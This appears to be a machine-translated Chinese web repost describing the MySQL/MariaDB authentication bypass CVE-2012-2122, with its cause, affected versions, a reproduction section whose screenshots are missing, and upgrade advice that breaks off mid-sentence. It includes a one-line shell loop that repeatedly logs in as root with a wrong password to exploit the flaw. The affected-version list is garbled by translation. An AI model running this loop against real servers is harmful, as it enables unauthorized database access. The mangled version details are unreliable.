当前位置:网站首页>MySQL authentication bypass vulnerability (cve-2012-2122)

MySQL authentication bypass vulnerability (cve-2012-2122)

2022-07-06 22:39:00 OOOOOK. two thousand and twenty-one

Vulnerability profile

When the connection MariaDB/MySQL when , The password entered will be compared with the expected correct password , Due to improper handling , Can lead to even memcmp () Returns a nonzero value , Also can make MySQL Think two passwords are the same . That is to say, as long as you know the user name , Try again and again to log in directly SQL database .

Affected version

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL
  • versions from 5.1.63, 5.5.24, 5.6.6 are not.

Reasons for appearance

This vulnerability is due to memcmp Function only returns -128 To 127 Values in range , Optimized on some platforms , Cause even memcmp() Returns a nonzero value , Also can make MySQL Think two passwords are the same . about 256 You can succeed once .

Loophole recurrence

Scan open ports

 Please add a picture description

use MSF attack

 Please add a picture description

 Please add picture description
 Please add a picture description

EXP

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

Repair

upgrade MySQL edition ,( Those lower than the following versions must be upgraded to the latest version :5.0 Version below 5.0.96;5.1 Version below 5.1.63;5.5 Version below 5.5.25) stop it mysql, Back up the entire mysql, The installation directory ,data Catalog ( This step is only to prevent escalation

原网站

版权声明
本文为[OOOOOK. two thousand and twenty-one]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/187/202207061522286327.html